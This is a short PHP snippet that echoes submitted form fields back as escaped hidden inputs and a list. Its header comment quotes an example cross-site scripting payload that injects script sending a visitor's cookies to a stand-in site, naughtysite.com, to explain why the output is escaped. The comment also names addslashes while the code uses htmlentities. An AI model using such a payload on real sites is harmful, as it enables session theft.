Original PealoCode

pealocode.php

/**
 * Defend from malicious input by using addslashes
 * A malicious user could craft a form that injected JavaScript into these hidden form fields, e.g.:
 * <input type="hidden" name="naughty" value="&quot;><script>var img = new Image(); img.src='http://naughtysite.com/submitcookies.php?cookies='+document.cookies;</script>">
 */

while (list($key, $val) = each($_POST)) {
	if ($key != 'Submit') {
		echo '<input type="hidden" name="' . htmlentities($key) . '" value="' . htmlentities($val) . '" />';
	}
}

reset($_POST);
echo '<ul>';
while (list($key, $val) = each($_POST)) {
	if ($key != 'Submit') {
		echo '<li><strong>' . htmlentities($key) . '</strong>: <span class="highlight-219ddb">' . htmlentities($val) . '</span></li>';
	}
}
echo '</ul>';